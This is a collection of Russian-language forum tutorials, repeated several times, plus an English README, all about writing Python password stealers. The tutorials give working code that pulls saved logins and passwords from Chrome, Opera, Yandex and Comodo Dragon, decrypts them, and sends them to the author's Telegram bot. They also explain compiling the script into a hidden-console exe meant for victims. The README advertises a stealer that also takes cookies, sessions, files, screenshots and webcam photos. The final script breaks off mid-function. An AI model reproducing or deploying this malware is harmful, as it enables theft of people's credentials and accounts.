Как написать стиллер логов на python

Пишем свой стиллер на Python

Coding

Привет. Пришло время написать свой собственный стиллер на чудном языке Python. 

Комментарии будут отмечены решеточкой — #

Установка Python​

Переходим на официальный сайт PythonА. 

Скачиваем 3+ версию и устанавливаем ее.

 Суть работы стиллера​

Программа проверит наличие папок от указанных браузеров, при наличии — подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)

Создадим своего бота​

Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.

Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием «_bot». После BotFather выдаст нам token для управления нашим ботом.

 Команды :

/start

/newbot

После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.

https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке

«chat»:{«id»:вашid #найти chatid в информации

С ботом мы разобрались, идем дальше.

Начинаем кодить​

Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе

Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.

Команда :

pip install —upgrade pip

После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot

Команды : 

pip install pyTelegramBotAPI

pip install pywin32

pip install telebot

В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.

 Код:

from os import getlogin #из библиотеки os мы импортируем функцию getlogin

#данная библиотека поможет нам получить имя пользователя компьютера

import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных

import win32crypt #импортируем библиотеку win32crypt

#эта библиотека поможет расшифровать пароли из базы данных

import telebot #импортируем библиотеку telebot

#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.

Теперь нам нужно задать переменные, которые мы будет использовать.

 Код:

t0ken = «ВАШ:Т0КЕН»» #переменная t0ken – в которой хранится token от бота

b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken

name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.

Дальше мы должны создать переменные,списки с директориями возможных браузеров.

 Код:

op3ra = «C:\Users\» + name_0f_user + «<\AppData\Roaming\Opera Software\Opera Stable\>» + «Login data»

#переменная op3ra которая равна такому пути

C:\Users\Users\AppData\Roaming\Opera Software\Opera Stable\LoginData — где Login Data — база данных, а остальное — путь к папке браузера.

g00gle = «C:\Users\» + name_0f_user + «<\AppData\Local\Google\Chrome\User Data\Default\>» + «Login Data» #также как и выше

yand3x = «C:\Users\» + name_0f_user + «<\AppData\Local\Yandex\YandexBrowser\User Data\Default\>» + «Login Data» #также как и выше

c0m0d0drag0n = «C:\Users\» + name_0f_user + «<\AppData\Local\Comodo\Dragon\User Data\Default\>» + «Login Data» #также как и выше

lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.

lsbr0wser=[«Opera»,»Google Chrome»,»Yandex Browser»,»Comodo Dragon»] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir

Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium

При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\), иначе будет выбивать ошибку,связанную с кодировкой.

Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.

 Код:

b0t.send_message(ваш id, «Компьютер: » + name_0f_user) #для начала мы отправим в чат имя системы жертвы

#b0t — имя бота,которого мы создали в начале

#send_message — функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово «Компьютер:» объединенное с переменой name_0f_user

for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4

  try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except

    br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]

    connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser

    curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных

    curs0r.execute(‘SELECT origin_url, username_value, password_value FROM logins’) #переменной curs0r мы говорим достать из базы данных нам такие значения — origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)

     for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)

       d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)

       b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.

       b0t.send_message(id_вашего_чата, «—————————-«) #отправляем от имени бота сообщение в чат с разделительной линией/украшением

       b0t.send_message(id_вашего_чата, «Сайт: » + ii[0]) #в чат от имени бота отправляем слово «сайт» + нулевой элемент в списке

       b0t.send_message(id_вашего_чата, «—————————-«) #отправляем от имени бота сообщение в чат с разделительной линией/украшением

       b0t.send_message(id_вашего_чата, «Логин: » + ii[1]) #в чат от имени бота отправляем слово «логин» + первый элемент в списке

       b0t.send_message(id_вашего_чата, «—————————-«) #отправляем от имени бота сообщение в чат с разделительной линией/украшением

       d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)

       b0t.send_message(id_вашего_чата, «Пароль: » + d3cryptpass) #в чат от имени бота отправляем слово «пароль» + переменную d3cryptpass

       b0t.send_message(id_вашего_чата, «—————————-«) #отправляем от имени бота сообщение в чат с разделительной линией/украшением

  except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except

    b0t.send_message(id_вашего_чата,»Браузер » + lsbr0wser[i] + » был запущен, или не установлен») #в чат от имени бота отправляем слово «браузер» + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке

Теперь я попытаюсь объяснить суть вышеописанного кода на «простом» примере)

Компилируем в exe​

Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe

Код:

pip install pyinstaller

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами

-F соберет все файлы в один exe файл

-w отключит консоль

-i *путь к иконке* аргумент,который подключит к программе иконку​

Код:

CD C:compile

pyinstaller -i i.ico -F -w stealer.py

#В терминала переходим в папку C:compile

#вызываем pyintaller, где i.ico — иконка расположенная в папке compile;stealer.py — наш питоновский скрипт, расположенный в папке compile

После в папке dist появится наш код скомпилированный в EXE.

Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода.

У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.

Проверить на детекты, я не смог, ибо viruschekmate,ScanMyBin — сдохли,nodstribute+virustotal — сливают данные(не суйте туда стиллер)), поэтому информация про «чистоту» остается для вас и для меня интригой)

Не забудь подписаться на Coding и поделиться каналом с друзьями

Привет. Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из своей прошлой статьи, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)
Словарик с терминами,которые я буду использовать, можно найти по ссылке —
ТЫК
Комментарии будут отмечены решеточкой — #

Переходим на официальный сайт PythonА — ТЫК. Скачиваем 3+ версию и устанавливаем ее.
1.png 2.png 3.png

Программа проверит наличие папок от указанных браузеров, при наличии — подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)

Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием «_bot«. После BotFather выдаст нам token для управления нашим ботом.

После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.

https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
"chat":{"id":вашid #найти chatid в информации

upload_2018-5-25_17-27-37.png

С ботом мы разобрались, идем дальше.

Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.

pip install --upgrade pip


После обновления установим 2 нужные нам библиотеки,
pyTelegramBotAPI pywin32 и telebot

pip install pyTelegramBotAPI
pip install pywin32
pip install telebot

______________________________________________________________________________________
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.

from os import getlogin #из библиотеки os мы импортируем функцию getlogin
#данная библиотека поможет нам получить имя пользователя компьютера
import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных
import win32crypt #импортируем библиотеку win32crypt
#эта библиотека поможет расшифровать пароли из базы данных
import telebot #импортируем библиотеку telebot
#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.

_______________________________________________________________________________
Теперь нам нужно задать переменные, которые мы будет использовать.

t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
i=0 #переменная счетчик
name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.

_______________________________________________________________________________
Дальше мы должны создать переменные,списки с директориями возможных браузеров.

op3ra = "C:\Users\" + name_0f_user + "\AppData\Roaming\Opera Software\Opera Stable\" + "Login data"
#переменная op3ra которая равна такому пути C:\Users\Users\AppData\Roaming\Opera Software\Opera Stable\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\Users\" + name_0f_user + "\AppData\Local\Google\Chrome\User Data\Default\" + "Login Data" #также как и выше
yand3x = "C:\Users\" + name_0f_user + "\AppData\Local\Yandex\YandexBrowser\User Data\Default\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\Users\" + name_0f_user + "\AppData\Local\Comodo\Dragon\User Data\Default\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir


Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium

При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________
Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.

b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
#b0t - имя бота,которого мы создали в начале
#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
    try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
        br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
        connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
        curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
        curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
         for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
             d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
             b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
             b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
    except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
        b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке


Теперь я попытаюсь объяснить суть вышеописанного кода на «простом« примере)

Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому[i] элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому[i] элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля[i] до длины списка с директориями.

Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами

-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку

CD C:compile
pyinstaller -i i.ico -F -w stealer.py
#В терминала переходим в папку C:compile
#вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile

После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо
viruschekmate,ScanMyBin — сдохли,nodstribute+virustotal — сливают данные(не суйте туда стиллер)), поэтому информация про «чистоту» остается для вас и для меня интригой)

Исходники вы можете скачать по ссылке — ТЫК
upload_2018-5-26_12-46-24.png Так приходят логи, пароль находится между символом b’ и

Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода. Надеюсь вам все было понятно, пытался писать как можно проще. Если будет интересно, могу объяснить как добавить фейк ошибку при запуске стиллера)
Если вам что-то не понравилось, или есть идеи по улучшению — прошу сообщить об этом :-)
P.S.
Словарик дополню новыми терминами

Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала

LOGO

PASSWORD STEALER

Stealer written on Python, results will be sent to Telegram bot.
Download the latest release


⛔Disclaimer⛔

I, the creator, am NOT responsible for any actions, and or damages, caused by this software. You BEAR the full responsibility of your actions and acknowledge that this software was created for educational purposes only. This software’s main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use. By using this software, you automatically agree to the above.

❕❕Data grubed❕❕

  • ✅System info
    • ⌚Time
    • 💻OS
    • 🔩CPU
      • 📜Cores
      • 📜CPU frequency
    • 📡IP
    • 📡Location
    • 💽RAM
      • 💾Available
      • 💾Used
    • 📜PC name
    • 💽Discs
      • 📜volumes
      • 💾All Memory
      • 💾Available
      • 💾Used
      • 📜File system type
    • 🧪Antiviruses
    • 🎥GPU
      • 🔩Type
      • 💾All memory in the GPU
      • 💾Free memory in the GPU
      • 📜Graphics card temperature
    • 📠Processes
  • ✅Files .txt and .docx
    • 📝in Desktop
    • 📝in Documents
    • 📝in Downloads
  • ✅Telegram sessions
  • ✅Steam, Epic Games sessions
  • ✅Browsers
    • 🔗Chrome
      • 🔑Passwords
      • 🔐Cookies
      • 📝History
    • 🔗Firefox
      • 🔑Passwords
      • 🔐Cookies
      • 📝History
    • 🔗Opera
      • 🔑Passwords
      • 🔐Cookies
      • 📝History
  • ✅Other
    • 📸Sreenshot
    • 📸Camera photo

🔨Builder

So firstly you need to download python. Secondly you have to download all files from github.Then you need to download the builder here (the builder weighs more than 25 mb, so I can’t post it on github) and place in in one folder with previous files.
Finaly go to the «https://t.me/BotFather» and create your own bot. You need to save token and bot name.
Now you need to get your chat id. To do this, go to the next bot «https://t.me/TgramUserIDBot» and save the id.
Insert this data in builder

LOGO


❌Builder errors

If you have error like this:

error

How to solve it read here


🧾Results(logs)

LOGO
LOGO


📲Contacts

Discord: 𝔰𝔦𝔩𝔳𝔢𝔯 𝔰𝔥𝔞𝔡𝔬𝔴#5304

go up

Копипаст

Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из

Пожалуйста,

Вход
или

Регистрация
для просмотра содержимого URL-адресов!

, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)
Словарик с терминами,которые я буду использовать :
IDLE/IDE — среда для разработки программного обеспечения.
Библиотека/модуль
написанные коды/функции,которые подключаются к нашей программе.
pip — система для установки пакетов(Для Python).
Переменная — ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция — часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл — действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия

Комментарии будут отмечены решеточкой — #

Установка Python

Переходим на официальный сайт PythonА —

Пожалуйста,

Вход
или

Регистрация
для просмотра содержимого URL-адресов!

. Скачиваем 3+ версию и устанавливаем ее.

Суть работы стиллера

Программа проверит наличие папок от указанных браузеров, при наличии — подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)

Создадим своего бота

Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием «_bot». После BotFather выдаст нам token для управления нашим ботом.

После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.

https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
"chat":{"id":вашid #найти chatid в информации

Посмотреть вложение 7364

С ботом мы разобрались, идем дальше.

Начинаем кодить

Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.

pip install --upgrade pip

После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot

pip install pyTelegramBotAPI
pip install pywin32
pip install telebot

______________________________________________________________________________________
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.

from os import getlogin #из библиотеки os мы импортируем функцию getlogin
#данная библиотека поможет нам получить имя пользователя компьютера
import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных
import win32crypt #импортируем библиотеку win32crypt
#эта библиотека поможет расшифровать пароли из базы данных
import telebot #импортируем библиотеку telebot
#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.

_______________________________________________________________________________
Теперь нам нужно задать переменные, которые мы будет использовать.

t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
i=0 #переменная счетчик
name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.

_______________________________________________________________________________
Дальше мы должны создать переменные,списки с директориями возможных браузеров.

op3ra = "C:\Users\" + name_0f_user + "\AppData\Roaming\Opera Software\Opera Stable\" + "Login data"
#переменная op3ra которая равна такому пути C:\Users\Users\AppData\Roaming\Opera Software\Opera Stable\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\Users\" + name_0f_user + "\AppData\Local\Google\Chrome\User Data\Default\" + "Login Data" #также как и выше
yand3x = "C:\Users\" + name_0f_user + "\AppData\Local\Yandex\YandexBrowser\User Data\Default\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\Users\" + name_0f_user + "\AppData\Local\Comodo\Dragon\User Data\Default\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir

Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium
При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________

Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.

b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
#b0t - имя бота,которого мы создали в начале
#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
    try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
        br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
        connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
        curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
        curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
         for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
             d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
             b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
             b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
    except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
        b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке

Теперь я попытаюсь объяснить суть вышеописанного кода на «простом» примере)

Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля до длины списка с директориями.

Компилируем в exe

Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку

CD C:compile
pyinstaller -i i.ico -F -w stealer.py
#В терминала переходим в папку C:compile
#вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile

После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо viruschekmate,ScanMyBin — сдохли,nodstribute+virustotal — сливают данные(не суйте туда стиллер)), поэтому информация про «чистоту» остается для вас и для меня интригой)

Исходник и заключение

Исходники вы можете скачать по ссылке —

Пожалуйста,

Вход
или

Регистрация
для просмотра содержимого URL-адресов!


Посмотреть вложение 7365
Так приходят логи, пароль находится между символом b’ и ‘

Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала

В этой статье будет показано, рассказано, и доказано, как написать свой стиллер на Python-e

Для работы нам понадобятся:

1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней (на момент написания статьи) версии

https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe

2)Также потребуется среда разработки, для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains

https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC

1)качаете питон, устанавливаете с правами админа.

2)качаете среду, устанавливаете, запускаете.

Запускаем Pycharm, если еще не запустили.

Видим такое окно.

9a126d0c9279.png

Жмем Create Project

Выбираем название нашего проекта, питон на компьютере (если вы его установили) среда найдет автоматически

Жмем create

Поздравляю, проект создан

После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter

Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package

Также делаем со следующими библиотеками:

-pyasn1

-rsa

-pycryptodome

-pywin32

-psutil

Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его

Поздравляю, самое сложное позади.

Импортируем следующие библиотеки

import os

import sqlite3

import zipfile

import requests

from ctypes import *

from winreg import *

from json import load

from os import listdir

from shutil import copy

from struct import calcsize

from base64 import b64decode

from Crypto.Cipher import AES

from psutil import process_iter

from win32api import GetModuleHandle

from win32crypt import CryptUnprotectData

Обозначаем точку входа программы

знаю что она необязательна, мне просто нравится ее писать

code

if __name__ == «__main__»:

теперь составляем дефолтные пути до браузеров

chromium_browsers = {

u’google chrome’: os.getenv(«LOCALAPPDATA») + r’GoogleChromeUser Data’,

u’opera’: os.getenv(«APPDATA») + r’Opera SoftwareOpera Stable’,

u’yandexBrowser’: os.getenv(«LOCALAPPDATA») + r’YandexYandexBrowserUser Data’

}

Ищем базы, расшифровываем, сохраняем.

Все обьяснения будут в виде комментариев в коде, иначе до конца никто не дочитает

PasswordsArray = []#Здесь будут логины пароли

CookiesDict = {}#Тут будут куки в формате browser : [cookArray]

def db_dirs(path):#Передаем путь к браузеру

databases = set()#Обьявляем список

profiles_path = os.path.join(path, u’Local State’)#

if os.path.exists(profiles_path):#

profiles = {‘Default’, »}#

for dirs in os.listdir(path):#Ищет профили

dirs_path = os.path.join(path, dirs)#

if os.path.isdir(dirs_path) and dirs.startswith(‘Profile’):#

profiles.add(dirs)#

with open(profiles_path) as f:

try:

data = load(f)

profiles |= set(data[‘profile’][‘info_cache’])#Нужно для получения мастер-ключа

except Exception:

pass

with open(profiles_path) as f:

try:

master_key = b64decode(load(f)[«os_crypt»][«encrypted_key»])

master_key = master_key[5:]

master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]#О, мастер-ключ

except Exception:

master_key = None

for profile in profiles:

try:

db_files = os.listdir(os.path.join(path, profile))

except Exception:

continue

for db in db_files:

if db.lower() in [‘login data’,’cookies’]:

databases.add((os.path.join(path, profile, db), master_key))#Возвращаем пути до всех бд которые удалось найти

return databases

def decryption(buff, key):#Нужна для декрипта, просто скопипасть, не парься

payload = buff[15:]

iv = buff[3:15]

cipher = AES.new(key, AES.MODE_GCM, iv)

decrypted_pass = cipher.decrypt(payload)

decrypted_pass = decrypted_pass[:-16].decode()

return decrypted_pass

def passwords(name, path, database_path, master_key):#Ну пароли дешифрует, чо, какие вопросы

copy(path, database_path)

cursor = sqlite3.connect(database_path).cursor()

cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’)

for result in cursor.fetchall():

url = result[0]

login = result[1]

try:

password = decryption(result[2], master_key)

except Exception:

password = «Error»

if url and login and password != »:

PasswordsArray.append(

